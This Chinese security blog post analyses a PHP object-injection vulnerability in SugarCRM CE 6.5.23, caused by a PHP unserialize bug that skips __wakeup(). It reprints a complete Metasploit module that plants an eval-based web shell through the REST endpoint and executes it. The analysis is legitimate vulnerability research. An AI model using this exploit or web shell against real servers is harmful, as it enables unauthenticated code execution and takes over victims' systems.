?

Sep 13 2016

SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析

首頁 » 代碼審計 » SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析   

1.png

 

作者:流浪客@ms509安全團隊

稿費:500RMB(不服你也來投稿啊!)

投稿方式:發送郵件至linwei##,或登陸網頁版在線投稿

SugarCRM開源版是一款完全開放源代碼的商業開源軟件,具有界面活潑、簡單易學的特點。美國SugarCRM公司是一間創立于2006年、但迅速在全球范圍取得一定影響的客戶關系管理軟件廠商。其基本的商業策略是 一邊銷售收費低廉的企業版/專業版軟件,獲得收益;一邊推出免費的、功能較少的開源版軟件,培養未來的付費客戶、吸引志愿者參加研發。大多數使用該軟件的企業,并發用戶數在幾個到幾萬個的范圍內。


0x00 前言


這個漏洞很有意思,涉及到rayt牛新提交的php底層bug,這個bug導致了sugarCRM的反序列化防御失效。


0x01 反序列中異常對象導致__wakeup()不被執行


php bug(php<=5.6.24):https://bugs.php.net/bug.php?id=72663

1.原理分析

2.png

通過上邊代碼和標注,可以清晰的認識到,在創建一個對象的過程中由于對象屬性創建的時候出現異常導致__wakeup()不被調用直接return 0;

這個過程中屬性是被成功創建了,析構函數依舊會被執行,這樣就會導致一些安全問題。

2.實際測試

測試代碼:

 3.png

 

測試結果:

4.png

 

 

一種為正常情況,一種為異常情況,當我們構造特殊的payload的時候,程序只執行了__destruct()沒有執行__wakeup()。


0x02 SugarCRM CE <= 6.5.23 對象注入漏洞


 

眾所周知反序列化代碼執行需要兩個基本挑戰,1.反序列化函數;2.可利用的__wakeup()和__destruct()。

1.代碼分析

https://github.com/sugarcrm/sugarcrm_dev/blob/6.5.23/service/core/REST/SugarRestSerialize.php

5.png

 

 

 

 

可控參數rest_data,利用函數sugar_unserialize,反序列化代碼執行的第一個條件有了。

https://github.com/sugarcrm/sugarcrm_dev/blob/6.5.23/include/SugarCache/SugarCacheFile.php

 6.png

 

  

可利用函數  __destruct()有了,可以看見上邊紅框中的內容,開發人員利用__wakeup,在反序列話中會被調用的特性來防治反序列話導致的代碼執行漏洞

通過我們上邊的分析,可以成功bypass過這個防御,利用 __destruct()中的代碼實現漏洞利用。

2.漏洞利用測試

研究人員已經開發好了msf的利用方法:

https://www.exploit-db.com/exploits/40344/

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SugarCRM REST Unserialize PHP Code Execution',
      'Description'    => %q{
        This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
        which could be abused to allow unauthenticated users to execute arbitrary PHP code with
        the permissions of the webserver. The dangerous unserialize() call exists in the
        '/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()
        method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.
      },
      'Author'         => 'EgiX',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://karmainsecurity.com/KIS-2016-07'],
          ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],
          ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],
          ['URL', 'https://bugs.php.net/bug.php?id=72663']
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['SugarCRM CE <= 6.5.23', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 23 2016'
      ))
      register_options(
        [
          OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])
        ], self.class)
  end
  def exploit
    upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'
    payload_serialized =  "O:+14:\"SugarCacheFile\":23:{S:17:\"\\00*\\00_cacheFileName\";"
    payload_serialized << "s:#{upload_php.length+2}:\"..#{upload_php}\";S:16:\"\\00*\\00"
    payload_serialized << "_cacheChanged\";b:1;S:14:\"\\00*\\00_localStore\";a:1:{i:0;s:55"
    payload_serialized << ":\"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>\";}}"
    print_status("#{peer} - Exploiting the unserialize() to upload PHP code")
    res = send_request_cgi(
    {
      'uri'    => normalize_uri(target_uri.path, 'service/v4/rest.php'),
      'method' => 'POST',
        'vars_post' => {
          'method'     => 'login',
          'input_type' => 'Serialize',
          'rest_data'  => payload_serialized
        }
    })
    if not res or res.code != 200
      print_error("#{peer} - Exploit failed: #{res.code}")
      return
    end
    register_files_for_cleanup(File.basename(upload_php))
    print_status("#{peer} - Executing the payload #{upload_php}")
    res = send_request_cgi(
    {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path, upload_php),
      'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }
    })
    if res and res.code != 200
      print_error("#{peer} - Payload execution failed: #{res.code}")
      return
    end
  end
end
 

 

 

 

 

 

0x03 總結



一個php的底層小bug引起的上層php開發中防御措施實效。

引用:

https://bugs.php.net/bug.php?id=72663

https://github.com/php/php-src/blob/PHP-5.6.26/ext/standard/var_unserializer.c

https://www.exploit-db.com/exploits/40344/

https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stream.php

https://packetstormsecurity.com/files/137638/SugarCRM-6.5.23-SugarRestSerialize.php-PHP-Object-Injection.html

本文由 安全客 原創發布,如需轉載請注明來源及本文地址。
本文地址:http://bobao.#/learning/detail/3020.html

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: php對象注入

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «關于Python漏洞挖掘那些不得不提的事兒 | Microsoft Windows內核提權漏洞原理分析與利用(CVE-2016-3308 / ZDI-16-453)»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖